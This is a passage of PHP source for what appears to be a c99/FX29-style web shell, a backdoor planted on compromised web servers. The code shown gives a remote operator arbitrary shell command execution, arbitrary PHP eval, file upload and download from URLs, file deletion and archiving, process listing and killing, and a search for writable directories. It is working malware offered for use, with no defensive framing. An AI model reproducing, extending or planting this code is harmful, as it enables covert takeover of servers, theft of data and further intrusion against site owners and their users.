  1419. global $_FILES;
  1420. $uploadfile = $_FILES["uploadfile"];
  1421. if (!empty($uploadfile["tmp_name"])) {
  1422. if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1423. else {$destin = $userfilename;}
  1424. if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  1425. $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  1426. }
  1427. else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  1428. }
  1429. else { echo "No file to upload!"; }
  1430. }
  1431. if ($miniform) {
  1432. echo "<b>".$uploadmess."</b>";
  1433. $act = "ls";
  1434. }
  1435. else {
  1436. echo "<table><tr><td colspan=2 class=barheader>".
  1437. ".: File Upload :.</td>".
  1438. "<td colspan=2>".$uploadmess."</td></tr>".
  1439. "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
  1440. "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  1441. "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  1442. "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  1443. "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  1444. "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  1445. "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  1446. "</form></td></tr></table>";
  1447. }
  1448. }
  1449. if ($act == "delete") {
  1450. $delerr = "";
  1451. foreach ($actbox as $v) {
  1452. $result = FALSE;
  1453. $result = fs_rmobj($v);
  1454. if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
  1455. }
  1456. if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
  1457. $act = "ls";
  1458. }
  1459. if (!$usefsbuff) {
  1460. if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
  1461. echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
  1462. }
  1463. }
  1464. else {
  1465. if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; }
  1466. elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";}
  1467. elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";}
  1468. if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data);}
  1469. elseif ($actpastebuff) {
  1470. $psterr = "";
  1471. foreach($sess_data["copy"] as $k=>$v) {
  1472. $to = $d.basename($v);
  1473. if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1474. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1475. }
  1476. foreach($sess_data["cut"] as $k=>$v) {
  1477. $to = $d.basename($v);
  1478. if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1479. unset($sess_data["cut"][$k]);
  1480. }
  1481. fx29_sess_put($sess_data);
  1482. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1483. $act = "ls";
  1484. }
  1485. elseif ($actarcbuff) {
  1486. $arcerr = "";
  1487. if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1488. else {$ext = ".tar.gz";}
  1489. if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1490. $cmdline .= " ".$actarcbuff_path;
  1491. $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1492. foreach($objects as $v) {
  1493. $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1494. if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1495. if (is_dir($v)) {
  1496. if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1497. $v .= "*";
  1498. }
  1499. $cmdline .= " ".$v;
  1500. }
  1501. $tmp = realpath(".");
  1502. chdir($d);
  1503. $ret = fx29exec($cmdline);
  1504. chdir($tmp);
  1505. if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1506. $ret = str_replace("\r\n","\n",$ret);
  1507. $ret = explode("\n",$ret);
  1508. if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1509. foreach($sess_data["cut"] as $k=>$v) {
  1510. if (in_array($v,$ret)) {fs_rmobj($v);}
  1511. unset($sess_data["cut"][$k]);
  1512. }
  1513. fx29_sess_put($sess_data);
  1514. if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1515. $act = "ls";
  1516. }
  1517. elseif ($actpastebuff) {
  1518. $psterr = "";
  1519. foreach($sess_data["copy"] as $k=>$v) {
  1520. $to = $d.basename($v);
  1521. if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1522. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1523. }
  1524. foreach($sess_data["cut"] as $k=>$v) {
  1525. $to = $d.basename($v);
  1526. if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1527. unset($sess_data["cut"][$k]);
  1528. }
  1529. fx29_sess_put($sess_data);
  1530. if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
  1531. $act = "ls";
  1532. }
  1533. }
  1534. if ($act == "cmd") {
  1535. @chdir($chdir);
  1536. if (!empty($submit)) {
  1537. echo "<div class=barheader>.: Results of Execution :.</div>\n";
  1538. $olddir = realpath(".");
  1539. @chdir($d);
  1540. $ret = fx29exec($cmd);
  1541. $ret = convert_cyr_string($ret,"d","w");
  1542. if ($cmd_txt) {
  1543. $rows = count(explode("\n",$ret))+1;
  1544. if ($rows < 10) { $rows = 10; } else { $rows = 30; }
  1545. $cols = 130;
  1546. echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
  1547. //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  1548. }
  1549. else { echo $ret."<br>"; }
  1550. @chdir($olddir);
  1551. }
  1552. }
  1553. if ($act == "ls") {
  1554. if (count($ls_arr) > 0) { $list = $ls_arr; }
  1555. else {
  1556. $list = array();
  1557. if ($h = @opendir($d)) {
  1558. while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1559. closedir($h);
  1560. }
  1561. }
  1562. if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  1563. else {
  1564. $objects = array();
  1565. $vd = "f"; //Viewing mode
  1566. if ($vd == "f") {
  1567. $objects["head"] = array();
  1568. $objects["folders"] = array();
  1569. $objects["links"] = array();
  1570. $objects["files"] = array();
  1571. foreach ($list as $v) {
  1572. $o = basename($v);
  1573. $row = array();
  1574. if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  1575. elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  1576. elseif (is_dir($v)) {
  1577. if (is_link($v)) {$type = "LINK";}
  1578. else {$type = "DIR";}
  1579. $row[] = $v;
  1580. $row[] = $type;
  1581. }
  1582. elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1583. $row[] = filemtime($v);
  1584. if (!$win) {
  1585. $ow = posix_getpwuid(fileowner($v));
  1586. $gr = posix_getgrgid(filegroup($v));
  1587. $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1588. }
  1589. $row[] = fileperms($v);
  1590. if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1591. elseif (is_link($v)) {$objects["links"][] = $row;}
  1592. elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1593. elseif (is_file($v)) {$objects["files"][] = $row;}
  1594. $i++;
  1595. }
  1596. $row = array();
  1597. $row[] = "<b>Name</b>";
  1598. $row[] = "<b>Size</b>";
  1599. $row[] = "<b>Date Modified</b>";
  1600. if (!$win) {$row[] = "<b>Owner/Group</b>";}
  1601. $row[] = "<b>Perms</b>";
  1602. $row[] = "<b>Action</b>";
  1603. $parsesort = parsesort($sort);
  1604. $sort = $parsesort[0].$parsesort[1];
  1605. $k = $parsesort[0];
  1606. if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1607. $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1608. $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1609. $row[$k] .= $y;
  1610. for($i=0;$i<count($row)-1;$i++) {
  1611. if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1612. }
  1613. $v = $parsesort[0];
  1614. usort($objects["folders"], "tabsort");
  1615. usort($objects["links"], "tabsort");
  1616. usort($objects["files"], "tabsort");
  1617. if ($parsesort[1] == "d") {
  1618. $objects["folders"] = array_reverse($objects["folders"]);
  1619. $objects["files"] = array_reverse($objects["files"]);
  1620. }
  1621. $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1622. $tab = array();
  1623. $tab["cols"] = array($row);
  1624. $tab["head"] = array();
  1625. $tab["folders"] = array();
  1626. $tab["links"] = array();
  1627. $tab["files"] = array();
  1628. $i = 0;
  1629. foreach ($objects as $a) {
  1630. $v = $a[0];
  1631. $o = basename($v);
  1632. $dir = dirname($v);
  1633. if ($disp_fullpath) {$disppath = $v;}
  1634. else {$disppath = $o;}
  1635. $disppath = str2mini($disppath,60);
  1636. if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1637. elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1638. foreach ($regxp_highlight as $r) {
  1639. if (ereg($r[0],$o)) {
  1640. if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; fx29shexit();}
  1641. else {
  1642. $r[1] = round($r[1]);
  1643. $isdir = is_dir($v);
  1644. if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  1645. if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1646. $disppath = $r[2].$disppath.$r[3];
  1647. if ($r[4]) {break;}
  1648. }
  1649. }
  1650. }
  1651. }
  1652. $uo = urlencode($o);
  1653. $ud = urlencode($dir);
  1654. $uv = urlencode($v);
  1655. $row = array();
  1656. if ($o == ".") {
  1657. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  1658. $row[] = "CURDIR";
  1659. }
  1660. elseif ($o == "..") {
  1661. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  1662. $row[] = "UPDIR";
  1663. }
  1664. elseif (is_dir($v)) {
  1665. if (is_link($v)) {
  1666. $disppath .= " => ".readlink($v);
  1667. $type = "LINK";
  1668. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1669. }
  1670. else {
  1671. $type = "DIR";
  1672. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1673. }
  1674. $row[] = $type;
  1675. }
  1676. elseif(is_file($v)) {
  1677. $ext = explode(".",$o);
  1678. $c = count($ext)-1;
  1679. $ext = $ext[$c];
  1680. $ext = strtolower($ext);
  1681. $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  1682. $row[] = view_size($a[1]);
  1683. }
  1684. $row[] = @date("d.m.Y H:i:s",$a[2]);
  1685. if (!$win) { $row[] = $a[3]; }
  1686. $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1687. if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1688. else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1689. if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  1690. else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  1691. if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1692. elseif (is_link($v)) {$tab["links"][] = $row;}
  1693. elseif (is_dir($v)) {$tab["folders"][] = $row;}
  1694. elseif (is_file($v)) {$tab["files"][] = $row;}
  1695. $i++;
  1696. }
  1697. }
  1698. // Compiling table
  1699. $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1700. echo "<div class=barheader>.: ";
  1701. if (!empty($fx_infohead)) { echo $fx_infohead; }
  1702. else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  1703. echo " :.</div>\n";
  1704. echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  1705. "<table class=explorer>";
  1706. foreach($table as $row) {
  1707. echo "<tr>";
  1708. foreach($row as $v) {echo "<td>".$v."</td>";}
  1709. echo "</tr>\r\n";
  1710. }
  1711. echo "</table>".
  1712. "<script>".
  1713. "function ls_setcheckboxall(status) {".
  1714. " var id = 1; var num = ".(count($table)-2).";".
  1715. " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  1716. "}".
  1717. "function ls_reverse_all() {".
  1718. " var id = 1; var num = ".(count($table)-2).";".
  1719. " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  1720. "}".
  1721. "</script>".
  1722. "<div align=\"right\">".
  1723. "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  1724. "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  1725. if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  1726. echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  1727. }
  1728. echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1729. echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1730. echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1731. if ($usefsbuff) {
  1732. echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  1733. echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  1734. echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  1735. }
  1736. echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  1737. echo "</form>";
  1738. }
  1739. }
  1740. if ($act == "tools") { tools(); }
  1741. ##[ PHP FILESYSTEM TRICKZ (By FaTaLisTiCz_Fx) ]##
  1742. if ($act == "phpfsys") {
  1743. echo "<div align=left>";
  1744. $fsfunc = $phpfsysfunc;
  1745. if ($fsfunc=="copy") {
  1746. if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  1747. else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  1748. }
  1749. elseif ($fsfunc=="rename") {
  1750. if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  1751. else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  1752. }
  1753. elseif ($fsfunc=="chmod") {
  1754. if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  1755. else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  1756. }
  1757. elseif ($fsfunc=="read") {
  1758. $darg = $d.$arg1;
  1759. if ($hasil = @file_get_contents($darg)) {
  1760. echo "<b>Filename:</b> ".$darg."<br>";
  1761. echo "<center><textarea cols=135 rows=30>";
  1762. echo htmlentities($hasil);
  1763. echo "</textarea></center>\n";
  1764. }
  1765. else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
  1766. }
  1767. elseif ($fsfunc=="write") {
  1768. $darg = $d.$arg1;
  1769. if(@file_put_contents($darg,$arg2)) {
  1770. echo "<b>Saved!</b> ".$darg;
  1771. }
  1772. else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
  1773. }
  1774. elseif ($fsfunc=="downloadbin") {
  1775. $handle = fopen($arg1, "rb");
  1776. $contents = '';
  1777. while (!feof($handle)) {
  1778. $contents .= fread($handle, 8192);
  1779. }
  1780. $r = @fopen($d.$arg2,'w');
  1781. if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1782. else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1783. fclose($r);
  1784. fclose($handle);
  1785. }
  1786. elseif ($fsfunc=="download") {
  1787. $text = implode('', file($arg1));
  1788. if ($text) {
  1789. $r = @fopen($d.$arg2,'w');
  1790. if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1791. else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1792. fclose($r);
  1793. }
  1794. else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
  1795. }
  1796. elseif ($fsfunc=='mkdir') {
  1797. $thedir = $d.$arg1;
  1798. if ($thedir != $d) {
  1799. if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  1800. elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  1801. else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  1802. }
  1803. else { echo "Can't create current dir:<b> $thedir</b>"; }
  1804. }
  1805. elseif ($fsfunc=='fwritabledir') {
  1806. function recurse_dir($dir,$max_dir) {
  1807. global $dir_count;
  1808. $dir_count++;
  1809. if( $cdir = dir($dir) ) {
  1810. while( $entry = $cdir-> read() ) {
  1811. if( $entry != '.' && $entry != '..' ) {
  1812. if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  1813. if ($dir_count > $max_dir) { return; }
  1814. echo "[".$dir_count."] ".$dir.$entry."\n";
  1815. recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  1816. }
  1817. }
  1818. }
  1819. $cdir->close();
  1820. }
  1821. }
  1822. if (!$arg1) { $arg1 = $d; }
  1823. if (!$arg2) { $arg2 = 10; }
  1824. if (is_dir($arg1)) {
  1825. echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
  1826. echo "<pre>";
  1827. recurse_dir($arg1,$arg2);
  1828. echo "</pre>";
  1829. $total = $dir_count - 1;
  1830. echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  1831. }
  1832. else {
  1833. echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
  1834. }
  1835. }
  1836. else {
  1837. if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  1838. else {
  1839. if ($hasil = $fsfunc($arg1)) {
  1840. echo "<b>Result of $fsfunc $arg1:</b><br>";
  1841. if (!is_array($hasil)) { echo "$hasil\n"; }
  1842. else {
  1843. echo "<pre>";
  1844. foreach ($hasil as $v) { echo $v."\n"; }
  1845. echo "</pre>";
  1846. }
  1847. }
  1848. else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  1849. }
  1850. }
  1851. echo "</div>\n";
  1852. }
  1853. if ($act == "processes") {
  1854. echo "<div class=barheader>.: Processes :.</div>\n";
  1855. if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
  1856. else { $handler = "tasklist"; }
  1857. $ret = fx29exec($handler);
  1858. if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  1859. else {
  1860. if (empty($processes_sort)) { $processes_sort = $sort_default; }
  1861. $parsesort = parsesort($processes_sort);
  1862. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  1863. $k = $parsesort[0];
  1864. if ($parsesort[1] != "a") {
  1865. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
  1866. }
  1867. else {
  1868. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  1869. }
  1870. $ret = htmlspecialchars($ret);
  1871. if (!$win) { //Not Windows
  1872. if ($pid) {
  1873. if (is_null($sig)) { $sig = 9; }
  1874. echo "Sending signal ".$sig." to #".$pid."... ";
  1875. if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
  1876. }
  1877. while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
  1878. $stack = explode("\n",$ret);
  1879. $head = explode(" ",$stack[0]);
  1880. unset($stack[0]);
  1881. for($i=0;$i<count($head);$i++) {
  1882. if ($i != $k) {
  1883. $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
  1884. }
  1885. }
  1886. $head[$i] = "";
  1887. $prcs = array();
  1888. foreach ($stack as $line) {
  1889. if (!empty($line)) {
  1890. $line = explode(" ",$line);
  1891. $line[10] = join(" ",array_slice($line,10));
  1892. $line = array_slice($line,0,11);
  1893. if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
  1894. $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  1895. $prcs[] = $line;
  1896. }
  1897. }
  1898. }
  1899. //For Windows - Fixed By FaTaLisTiCz_Fx
  1900. else {
  1901. while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
  1902. while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
  1903. $ret = convert_cyr_string($ret,"d","w");
  1904. $stack = explode("\n",$ret);
  1905. unset($stack[0],$stack[2]);
  1906. $stack = array_values($stack);
  1907. $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  1908. $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  1909. $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  1910. $head = explode(" ",$stack[0]);
  1911. $stack = array_slice($stack,1);
  1912. $head = array_values($head);
  1913. if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
  1914. else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
  1915. if ($k > count($head)) {$k = count($head)-1;}
  1916. for($i=0;$i<count($head);$i++) {
  1917. if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  1918. }
  1919. $prcs = array();
  1920. unset($stack[0]);
  1921. foreach ($stack as $line) {
  1922. if (!empty($line)) {
  1923. $line = explode(" ",$line);
  1924. $line[4] = str_replace(".","",$line[4]);
  1925. $line[4] = intval($line[4]) * 1024;
  1926. unset($line[5]);
  1927. $prcs[] = $line;
  1928. }
  1929. }
  1930. }
  1931. $head[$k] = "<b>".$head[$k]."</b>".$y;
  1932. $v = $processes_sort[0];
  1933. usort($prcs,"tabsort");
  1934. if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
  1935. $tab = array();
  1936. $tab[] = $head;
  1937. $tab = array_merge($tab,$prcs);
  1938. echo "<table class=explorer>\n";
  1939. foreach($tab as $i=>$k) {
  1940. echo "<tr>";
  1941. foreach($k as $j=>$v) {
  1942. if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
  1943. echo "<td>".$v."</td>";
  1944. }
  1945. echo "</tr>\n";
  1946. }
  1947. echo "</table>";
  1948. }
  1949. }
  1950. if ($act == "eval") {
  1951. if (!empty($eval)) {
  1952. echo "Result of execution this PHP-code:<br>";
  1953. $tmp = @ob_get_contents();
  1954. $olddir = realpath(".");
  1955. @chdir($d);
  1956. if ($tmp) {
  1957. @ob_clean();
  1958. eval($eval);
  1959. $ret = @ob_get_contents();
  1960. $ret = convert_cyr_string($ret,"d","w");
  1961. @ob_clean();
  1962. echo $tmp;
  1963. if ($eval_txt) {
  1964. $rows = count(explode("\r\n",$ret))+1;
  1965. if ($rows < 10) {$rows = 10;}
  1966. echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1967. }
  1968. else {echo $ret."<br>";}
  1969. }
  1970. else {
  1971. if ($eval_txt) {
  1972. echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
  1973. eval($eval);
  1974. echo "</textarea>";
  1975. }
  1976. else {echo $ret;}
  1977. }
  1978. @chdir($olddir);
  1979. }
  1980. else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  1981. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  1982. }
  1983. if ($act == "f") {
  1984. echo "<div align=left>";
  1985. if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  1986. if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  1987. else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  1988. }
  1989. else {
  1990. $r = @file_get_contents($d.$f);
  1991. $ext = explode(".",$f);
  1992. $c = count($ext)-1;
  1993. $ext = $ext[$c];
  1994. $ext = strtolower($ext);
  1995. $rft = "";
  1996. foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  1997. if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  1998. if (empty($ft)) {$ft = $rft;}
  1999. $arr = array(
  2000. array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2001. array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2002. array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2003. array("Code","code"),
  2004. array("Session","phpsess"),
  2005. array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2006. array("SDB","sdb"),
  2007. array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
